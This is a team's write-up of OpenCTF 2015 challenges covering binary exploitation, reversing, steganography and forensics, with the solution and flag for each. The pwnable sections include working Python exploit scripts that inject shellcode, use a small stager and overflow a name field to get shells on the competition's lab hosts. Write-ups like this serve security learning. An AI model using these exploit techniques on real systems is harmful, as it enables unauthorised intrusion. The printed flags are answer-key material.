OpenCTF 2015 write-ups [vulscryptos]

vulscryptos scored 1910 pts, ranked 4th. So close!

It was great fun. Many thanks to the organizers!

37. Sanity Check (trivia 10)

Hack the Planet!

7. Runic Power (binary, exploitation, pwnable 200)

This program:

  1. creates a new [rwx] page using mmap
  2. reads from stdin into allocated memory
  3. calls allocated address

so I just wrote this exploit code and I got a shell.

---

#!/usr/bin/env python

from ebil import * # https://github.com/193s/ebil

exec ebil('./runic_power', remote=('10.0.66.71', 6698))

payload = asm(shellcraft.sh())

send(payload, 0x40)

r.interactive()

---

SRSLY_this_was_trivial_for_x86

8. Sigil of Darkness (binary, exploitation, pwnable 200)

This program looks similar to runic_power,

but it only reads 0x10 bytes from stdin, so I used a stager to bypass it.

---

#!/usr/bin/env python

from ebil import * # https://github.com/193s/ebil

exec ebil('./sigil_of_darkness', remote=('10.0.66.72', 6611))

shellcode = asm(shellcraft.amd64.sh(), arch='amd64')

def a(s):

  return asm(s, arch='amd64')

payload = ''

# rdi: 0

# rsi: base addr

# stager

payload += chain([

  a("mov rax, rsi"),

  a("mov edx, 0x100"),

  a("mov esi, 0x400614"),

  a("jmp rsi"),

])

send(payload, 0x10)

r.send(shellcode)

r.interactive()

---

So_that_might_have_given10s_moreFFRT

35.forbearance (reversing, binary, scripting 50)

A simple Windows binary challenge.

This binary asks me whether I agree to a "license agreement" or not.

When I choose "Yes", the binary creates a bitmap image called "Y29uc3VtZXIgZW5oYW5jZW1lbnQ=". I opened the file with a binary editor, and found the flag written in plain text.

FL@G[$ha11 we p1@y @ g@me?]

34. absence (scripting, misc 200)

It looked like both C and whitespace source code, so I just put it through a C compiler and whitespace interpreter.

193s@mbp193s:~/CTF/openctf/absence$ gcc absence.c

193s@mbp193s:~/CTF/openctf/absence$ ./a.out

f1@g[This is not the code you're

193s@mbp193s:~/CTF/openctf/absence$ wspace absence.c

 lo0kin-fo]%

f1@g[This is not the code you're lo0kin-fo]

1. magic_eye.dat (stego, forensics 50)

The file is a PNG image.

I tried a steganography approach, and it turns out that the pixel bytes were compressed text.

```

>>> print open(“magic_eye.dat”, “rb”).read()[41:].decode(“zlib”)

(snip)

BTW the flag is some_flag_goes_here

(snip)

```

some_flag_goes_here

3. Enhance (misc, forensics, CSI 50)

I found a QR code in the right eye of the woman, so I photoshopped and scanned it :)

before:

after:

Ju5tPr1ntTheDAmNTh1n6

5. much_nothing (suchforensics,verymisc,wow 100)

The text file is from the script for “Much Ado About Nothing” by Shakespeare, but some of the spaces were converted to tabs or removed. At a certain point in the text, spaces and tabs stopped appearing completely, so I thought that that the spaces and tabs were some sort of encoded data, and that the other alphametical characters didn’t matter.

So, I extracted all whitespace and converted spaces to 0 and tabs to 1 in binary.

---

#!/usr/bin/env python

s = open("shakespeare-much-3.txt").read()

txt = ''

for c in s:

  if c == ' ' or c == '\t':

    txt += str(0 if c == ' ' else 1)

#print txt

z = ("%x" % eval("0b"+txt)).decode('hex')

open("out", "w").write(z)

---

This gave me a zip file so I unzipped it and got flag.txt.

_h0m3_br3w_wh1t3_sp4c3_enC0ding_i5_ub3r_1337_

6. Pillars of CTF (network,crypto,binary,forensics 150)

Everything in phase1 was also in phase1.key, and phase1.key had 256 lines.

So, I converted each piece of text in phase1 into the line number of phase1.key as a byte.

---

#!/usr/bin/env python

cip = open('./phase1').read().split('\n')

key = open('./phase1.key').read().split('\n')

flag = ''

for c in cip:

  if c == '': continue

  t = key.index(c)

  flag += chr(t)

open('out', 'w').write(flag)

---

Then, I got a 64 bit ELF file; another challenge.

It asked for a password, so I just `strings`ed it and got it: Banana1

Entering the password gave me two sets of long base64-encoded texts for Phase 3 and Phase 4.

Phase 3 was a pcap file with a series of tcp packets containing fragments of a png file; skipped it.

Phase 4 looked like an ELF file, but with headers and some strings modified.

The errata “Key for phase four” suggested that Phase 4 was in a format that requires a key, and I supposed that this was a repeated-xor key!

I noticed that 00010203 appears repeatedly, so I figured it must be a repeated-xor key.

---

#!/usr/bin/env python

f = open("4").read()

key = '\x00\x01\x02\x03'

print ''.join([chr(ord(f[i])^ord(key[i%len(key)])) for i in xrange(len(f))])

---

Ltracing the ELF Binary I got gave me the flag :)

---

master@ubuntu:~/CTF/openctf/pillars/stage2/4$ ./elf

I'm thinking of a key...

master@ubuntu:~/CTF/openctf/pillars/stage2/4$ ltrace ./elf

__libc_start_main(0x4007c0, 1, 0x7ffed1456188, 0x400820 <unfinished ...>

memcpy(0x7ffed1456070, "\2677\226\256\366\302\372\357\020]5\335\212\346\332\340-\243\304\v\271:x\333\245\0\0\0\0\0\0\0"..., 42) = 0x7ffed1456070

memcpy(0x7ffed1456010, "\nX\031\366\354a\315\027\0237\027\306\205\033YL@I\274}\233)g\234R\0\0\0\0\0\0\0"..., 42) = 0x7ffed1456010

memcpy(0x7ffed1455f80, "\351\035\372=E\353^\210p\036Gi|\242\326\337\b\265:\023Vrr&\217\0\0\0\0\0\0\0"..., 42) = 0x7ffed1455f80

strlen("The key is: %s\n")                                                                       = 15

snprintf("The key is: True_Hipsters_Use_Be"..., 55, "The key is: %s\n", "True_Hipsters_Use_Betamax") = 38

printf("I'm thinking of a key...\n"I'm thinking of a key...

)                                                             = 25

+++ exited (status 0) +++

---

True_Hipsters_Use_Betamax

2. moonwalk (forensics, reversing 50)

Opening the file in a binary editor shows that this was a “reversed” PK ( = ZIP) file. Uncompressed reversed file and read metsys.elif.

This was a reversed disk image, so I reversed it again and opened it with Autopsy.

This gave me a file called “txt.galf”. "txt.galf" is the reverse of "flag.txt", so...

"txt.galf" looks like this:

$ xxd txt.galf

0000000: f597 4377 16f5 b613 4377 f546 e616 f544  ..Cw....Cw.F...D

0000010: e657 0327 14f5 e627 5773 f573 5357 a6f5  .W.'...'Ws.sSW..

After a few tries, I noticed that if I swap the 4 lower bits with the 4 higher bits of each byte, every byte would become an ASCII character.

$ xxd flag.txt

0000000: 5f79 3477 615f 6b31 3477 5f64 6e61 5f44  _y4wa_k14w_dna_D

0000010: 6e75 3072 415f 6e72 7537 5f37 3575 6a5f  nu0rA_nru7_75uj_

Hmm, just one more step.

Reverse the string and....

$ cat flag.txt | rev | xxd

0000000: 5f6a 7535 375f 3775 726e 5f41 7230 756e  _ju57_7urn_Ar0un

0000010: 445f 616e 645f 7734 316b 5f61 7734 795f  D_and_w41k_aw4y_

Here’s the flag.

_ju57_7urn_Ar0unD_and_w41k_aw4y_

27. Witches Cat (binary,exploitation,pwnable 350)

Giving a very long name to `Cat` gave me the flag :)

---

#!/usr/bin/env python

from ebil import * # https://github.com/193s/ebil

exec ebil('./witches_cat', remote=('10.0.66.73', 6604))

def cmd(cmd):

  print r.recvuntil('# ')

  r.sendline(cmd)

def scoop():     cmd('scoop')

def addCat():    cmd('addCat')

def removeCat(): cmd('removeCat')

def cmd_exit():  cmd('exit')

def nameCat(name):

  cmd('nameCat %s' % name)

addCat()

nameCat('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

removeCat()

print r.recv()

---

hur_hurr_hurr_MEOW_AAAA

22. blackSmoke - highLow (exploitation,binary,reversing,pwnable 300)

An ELF binary challenge.

After doing some reverse-engineering with IDA, I found that the executable follows 7 steps described below:

1. Connect to 10.0.66.77:11113, send "BLSS\x02", and receive machine code for DRM.

2. Execute code received in Step 1.

3. Connect to 10.0.66.76:11112, send "GETGAMES\n", and receive machine code which lists games available.

4. Execute code received in Step 3.

5. Ask the player to choose a game. ("highLow" is the only option.)

6. Connect to 10.0.66.76:11112 again to  send player's choice and receive machine code for the game.

7. Execute code received in Step 6.

I dumped the code received at Step 1, 3, and 6, and opened them with IDA.

In the code received in Step 6:

---

if(win_count > 99){

  write(fd[1][1], "KEYREQ", 6);

  printf("Here's the key:  ");

  read(fd[0][0], buf, 20);

  printf(buf);

  printf("\n");

  printf("\n");

}

---

This part is sending "KEYREQ" somewhere to get the key. But where is fd[1][1] connecting to?

After doing some more reversing, I found the string "KEYREQ" in code received at Step 1.

---

if(!strncmp(buf, "KEYREQ", 6)){

  //connect to 10.0.66.77:11112

  //xor "\x28\x30\x2b\x21\x20\x22\x40\x23\xd0\x3a\x20\x18\x25\x31\x3c\x20\x2b\x51\x9c\xed\xd2\x7f" with repeated-xor key "KEYREQ"

  //(the result will be "cursesOfTheIntern\x00\xD7\xA8\x8B-")

  //send it and get the flag

}

---

I did the same thing using netcat...

---

$ python -c 'print "cursesOfTheIntern\x00\xD7\xA8\x8B-",' | nc 10.0.66.77 11112

theBankIsAlwaysRightButAreTheTellers

---

... and got the flag for "blackSmoke - highLow"

theBankIsAlwaysRightButAreTheTellers

14. Banishing of the Holy Angel 1 (exploitation,binary,reversing,pwnable 200)

This challenge uses the same binary with "blackSmoke - highLow".

Let's continue reversing to get another flag.

In the code we received in Step 1, I found this code:

        strcat(char_array, "deKebra");

        strcat(char_array, "YUhackM");

        strcat(char_array, "ahwarde");

        strcat(char_array, "nlikeSHYYT");

It builds a strange string("deKebraYUhackMahwardenlikeSHYYT"), but this string isn't used anywhere, so I submitted it to the scoreboard, and got 200 points :)

This string was the flag for "Banishing of the Holy Angel 1".

deKebraYUhackMahwardenlikeSHYYT